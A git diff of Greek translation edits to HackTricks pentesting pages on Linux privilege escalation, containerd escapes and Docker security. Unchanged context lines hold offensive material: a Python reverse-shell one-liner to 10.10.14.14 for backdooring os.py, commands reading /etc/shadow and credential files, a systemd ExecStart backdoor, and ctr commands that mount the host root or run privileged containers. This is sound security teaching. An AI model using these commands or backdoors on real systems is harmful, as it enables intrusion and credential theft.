Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας υπολογιστή**. +Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό υπολογιστή** σας. Πρέπει να ρυθμίσετε αυτή την επιλογή στο `$HOME/.ssh.config` όπως αυτό: ``` @@ -1177,7 +1187,7 @@ ssh-forward-agent-exploitation.md ```bash ls -l /etc/profile /etc/profile.d/ ``` -Αν βρείτε οποιοδήποτε περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. +Αν βρείτε κάποιο περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. ### Αρχεία Passwd/Shadow @@ -1188,7 +1198,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Σε ορισμένες περιπτώσεις, μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο). +Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1221,7 +1231,7 @@ su - dummy find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Για παράδειγμα, αν η μηχανή εκτελεί έναν **tomcat** server και μπορείτε να **τροποποιήσετε το αρχείο ρύθμισης υπηρεσίας Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: +Για παράδειγμα, αν η μηχανή εκτελεί έναν **tomcat** server και μπορείτε να **τροποποιήσετε το αρχείο διαμόρφωσης υπηρεσίας Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: ``` ExecStart=/path/to/backdoor User=root @@ -1292,7 +1302,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Καταγραφές Αν μπορείτε να διαβάσετε καταγραφές, μπορεί να είστε σε θέση να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο παράξενη είναι η καταγραφή, τόσο πιο ενδιαφέρουσα θα είναι (πιθανώς).\ -Επίσης, κάποιες **κακώς** ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Επίσης, κάποιες "**κακώς**" ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1313,21 +1323,21 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ### Generic Creds Search/Regex Πρέπει επίσης να ελέγξετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** ή μέσα στο **περιεχόμενο**, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή regexps hashes.\ -Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει, μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Writable files ### Python library hijacking -Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). +Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελείται το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). -Για να **backdoor τη βιβλιοθήκη** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την εξής γραμμή (αλλάξτε IP και PORT): +Για να **backdoor the library** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελεί αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών. +Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών. > [!TIP] > Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες @@ -1342,7 +1352,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s **Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Αν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**. +Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα σενάριο `ifcf-` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **ρυθμίσει** ένα υπάρχον, τότε το **σύστημα σας είναι pwned**. Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d). @@ -1360,24 +1370,27 @@ DEVICE=eth0 Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart. -**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής αρχικοποίησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος. +**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής εκκίνησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος. ## Άλλες Τεχνικές ### NFS Privilege escalation + {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} ### Διαφυγή από περιορισμένα Shells + {{#ref}} escaping-from-limited-bash.md {{#endref}} ### Cisco - vmanage + {{#ref}} cisco-vmanage.md {{#endref}} @@ -1404,7 +1417,7 @@ cisco-vmanage.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (φυσική πρόσβαση):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Συγκέντρωση περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Συλλογή περισσότερων scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Αναφορές @@ -1426,9 +1439,11 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) + ## Android rooting frameworks: κατάχρηση manager-channel -Τα Android rooting frameworks συνήθως συνδέουν μια syscall για να εκθέσουν τη λειτουργικότητα του πυρήνα με προνόμια σε έναν διαχειριστή χώρου χρηστών. Αδύνατη αυθεντικοποίηση διαχειριστή (π.χ., ελέγχους υπογραφής με βάση την παραγγελία FD ή κακούς κωδικούς πρόσβασης) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον διαχειριστή και να ανυψώσει σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: +Τα Android rooting frameworks συνήθως συνδέουν μια syscall για να εκθέσουν λειτουργίες πυρήνα με προνόμια σε έναν διαχειριστή χώρου χρηστών. Αδύνατη αυθεντικοποίηση διαχειριστή (π.χ., ελέγχους υπογραφής με βάση την παραγγελία FD ή κακούς κωδικούς πρόσβασης) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον διαχειριστή και να ανυψώσει σε root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 8578f5742..1c830a409 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -2,9 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -## Βασικές πληροφορίες +## Basic information + +Πηγαίνετε στον παρακάτω σύνδεσμο για να μάθετε **τι είναι το containerd** και το `ctr`: -Go to the following link to learn **what is containerd** and `ctr`: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -24,18 +25,19 @@ REF TYPE registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` -Και στη συνέχεια **τρέξτε μία από αυτές τις εικόνες, προσαρτώντας τον φάκελο ρίζας του host σε αυτήν**: +Και στη συνέχεια **τρέξτε μία από αυτές τις εικόνες, τοποθετώντας τον φάκελο ρίζας του host σε αυτήν**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` ## PE 2 Τρέξτε ένα container με προνόμια και ξεφύγετε από αυτό.\ -Μπορείτε να τρέξετε ένα privileged container ως: +Μπορείτε να τρέξετε ένα container με προνόμια ως: ```bash ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` -Μπορείτε να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην παρακάτω σελίδα για να **διαφύγετε από αυτό εκμεταλλευόμενοι τις προνομιακές δυνατότητες**: +Μπορείτε να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην παρακάτω σελίδα για να **διαφύγετε από αυτό εκμεταλλευόμενοι προνομιακές δυνατότητες**: + {{#ref}} docker-security/ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 761cde987..4d3c46d2e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Βασική Ασφάλεια Μηχανής Docker** +## **Βασική Ασφάλεια Docker Engine** -Η **μηχανή Docker** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας μια βασική στρώση ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **αφαίρεσης Δυνατοτήτων**, **Seccomp** και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών. +Ο **Docker engine** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας μια βασική στρώση ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **Αφαίρεσης Δυνατοτήτων**, **Seccomp**, και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών. ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -### Ασφαλής Πρόσβαση στη Μηχανή Docker +### Ασφαλής Πρόσβαση στον Docker Engine -Η μηχανή Docker μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστούν η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση. +Ο Docker engine μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστούν η εμπιστευτικότητα, η ακεραιότητα και η αυθεντικοποίηση. -Η μηχανή Docker, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε την απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις: +Ο Docker engine, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart @@ -20,13 +20,13 @@ sudo service docker restart Ωστόσο, η έκθεση του Docker daemon μέσω HTTP δεν συνιστάται λόγω ανησυχιών ασφαλείας. Είναι σκόπιμο να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης: 1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή. -2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα ο ένας του άλλου. +2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα του άλλου. Τα πιστοποιητικά χρησιμοποιούνται για να επιβεβαιώσουν την ταυτότητα ενός διακομιστή. Για λεπτομερείς παραδείγματα και των δύο μεθόδων, ανατρέξτε σε [**αυτήν την οδηγία**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). ### Ασφάλεια Εικόνων Κοντέινερ -Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν είτε σε ιδιωτικά είτε σε δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ: +Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν σε ιδιωτικά ή δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ: - [**Docker Hub**](https://hub.docker.com): Μια δημόσια υπηρεσία μητρώου από το Docker. - [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοιχτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους μητρώο. @@ -34,7 +34,7 @@ sudo service docker restart ### Σάρωση Εικόνας -Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το αποθετήριο ευπαθειών για να εντοπίσει τα κενά ασφαλείας. +Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το αποθετήριο ευπαθειών για να εντοπίσει κενά ασφαλείας. Για περισσότερες [**πληροφορίες διαβάστε αυτό**](https://docs.docker.com/engine/scan/). @@ -68,7 +68,7 @@ snyk container test --json-file-output= --severity-threshol ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` -### Υπογραφή Εικόνας Docker +### Docker Image Signing Η υπογραφή εικόνας Docker διασφαλίζει την ασφάλεια και την ακεραιότητα των εικόνων που χρησιμοποιούνται σε κοντέινερ. Ακολουθεί μια συνοπτική εξήγηση: @@ -96,21 +96,21 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private **Namespaces** -- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces κρατούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ. +- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces διατηρούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ. - **Χρήση του `unshare`**: Η εντολή `unshare` (ή η υποκείμενη syscall) χρησιμοποιείται για τη δημιουργία νέων namespaces, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν μπλοκάρει εγγενώς αυτό, το Docker το κάνει. - **Περιορισμός**: Η δημιουργία νέων namespaces δεν επιτρέπει σε μια διαδικασία να επιστρέψει στα προεπιλεγμένα namespaces του host. Για να διεισδύσει στα namespaces του host, συνήθως απαιτείται πρόσβαση στον κατάλογο `/proc` του host, χρησιμοποιώντας το `nsenter` για είσοδο. **Control Groups (CGroups)** - **Λειτουργία**: Χρησιμοποιούνται κυρίως για την κατανομή πόρων μεταξύ διαδικασιών. -- **Ασφαλιστική Πτυχή**: Τα CGroups από μόνα τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από τη δυνατότητα `release_agent`, η οποία, αν είναι κακώς ρυθμισμένη, θα μπορούσε ενδεχομένως να εκμεταλλευτεί για μη εξουσιοδοτημένη πρόσβαση. +- **Πτυχή Ασφαλείας**: Τα CGroups από μόνα τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από τη δυνατότητα `release_agent`, η οποία, αν είναι κακώς ρυθμισμένη, θα μπορούσε ενδεχομένως να εκμεταλλευτεί για μη εξουσιοδοτημένη πρόσβαση. **Capability Drop** -- **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφάλειας για την απομόνωση διαδικασιών. -- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες δυνατότητες. Ακόμη και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων. +- **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφαλείας για την απομόνωση διαδικασιών. +- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες ικανότητες. Ακόμα και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων ικανοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων. -Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των άλλων: +Αυτές είναι οι **υπόλοιπες ικανότητες** μετά την απόρριψη των άλλων: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` @@ -131,7 +131,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Namespaces** είναι μια δυνατότητα του πυρήνα Linux που **διαχωρίζει τους πόρους του πυρήνα** έτσι ώστε ένα σύνολο **διαδικασιών** **να βλέπει** ένα σύνολο **πόρων** ενώ **ένα άλλο** σύνολο **διαδικασιών** βλέπει ένα **διαφορετικό** σύνολο πόρων. Η δυνατότητα λειτουργεί με το να έχει τον ίδιο namespace για ένα σύνολο πόρων και διαδικασιών, αλλά αυτοί οι namespaces αναφέρονται σε διακριτούς πόρους. Οι πόροι μπορεί να υπάρχουν σε πολλαπλούς χώρους. -Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των κοντέινερ: +Το Docker χρησιμοποιεί τους παρακάτω Namespaces του πυρήνα Linux για να επιτύχει την απομόνωση των Containers: - pid namespace - mount namespace @@ -147,8 +147,8 @@ namespaces/ ### cgroups -Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Κοντέινερ χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Κοντέινερ.\ -Ακολουθεί ένα Κοντέινερ που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Κοντέινερ έχουν το ίδιο μερίδιο CPU 1024, κάθε Κοντέινερ μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Κοντέινερ. Έχει μια προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000. +Η δυνατότητα του πυρήνα Linux **cgroups** παρέχει τη δυνατότητα να **περιορίσει τους πόρους όπως cpu, μνήμη, io, εύρος ζώνης δικτύου μεταξύ** ενός συνόλου διαδικασιών. Το Docker επιτρέπει τη δημιουργία Containers χρησιμοποιώντας τη δυνατότητα cgroup που επιτρέπει τον έλεγχο των πόρων για το συγκεκριμένο Container.\ +Ακολουθεί ένα Container που δημιουργήθηκε με περιορισμένη μνήμη χώρου χρήστη στα 500m, περιορισμένη μνήμη πυρήνα στα 50m, μερίδιο cpu στα 512, blkioweight στα 400. Το μερίδιο CPU είναι μια αναλογία που ελέγχει τη χρήση CPU του Container. Έχει προεπιλεγμένη τιμή 1024 και εύρος μεταξύ 0 και 1024. Εάν τρία Containers έχουν το ίδιο μερίδιο CPU 1024, κάθε Container μπορεί να καταναλώσει έως και 33% της CPU σε περίπτωση διαμάχης πόρων CPU. Το blkio-weight είναι μια αναλογία που ελέγχει το IO του Container. Έχει προεπιλεγμένη τιμή 500 και εύρος μεταξύ 10 και 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -166,9 +166,9 @@ cgroups.md ### Δυνατότητες -Οι δυνατότητες επιτρέπουν **πιο λεπτομερή έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για τον χρήστη root. Το Docker χρησιμοποιεί τη δυνατότητα του πυρήνα Linux για να **περιορίσει τις λειτουργίες που μπορούν να γίνουν μέσα σε ένα Container** ανεξαρτήτως του τύπου του χρήστη. +Οι δυνατότητες επιτρέπουν **πιο λεπτομερή έλεγχο για τις δυνατότητες που μπορούν να επιτραπούν** για τον χρήστη root. Το Docker χρησιμοποιεί τη δυνατότητα του πυρήνα Linux για να **περιορίσει τις λειτουργίες που μπορούν να γίνουν μέσα σε ένα Container** ανεξαρτήτως του τύπου χρήστη. -Όταν εκτελείται ένα docker container, η **διαδικασία απορρίπτει ευαίσθητες δυνατότητες που θα μπορούσε να χρησιμοποιήσει για να ξεφύγει από την απομόνωση**. Αυτό προσπαθεί να διασφαλίσει ότι η διαδικασία δεν θα είναι σε θέση να εκτελέσει ευαίσθητες ενέργειες και να ξεφύγει: +Όταν εκτελείται ένα docker container, η **διαδικασία απορρίπτει ευαίσθητες δυνατότητες που θα μπορούσε να χρησιμοποιήσει για να διαφύγει από την απομόνωση**. Αυτό προσπαθεί να διασφαλίσει ότι η διαδικασία δεν θα είναι σε θέση να εκτελέσει ευαίσθητες ενέργειες και να διαφύγει: {{#ref}} ../linux-capabilities.md @@ -194,7 +194,7 @@ apparmor.md - **Σύστημα Ετικετών**: Το SELinux αναθέτει μια μοναδική ετικέτα σε κάθε διαδικασία και αντικείμενο συστήματος αρχείων. - **Επιβολή Πολιτικής**: Επιβάλλει πολιτικές ασφαλείας 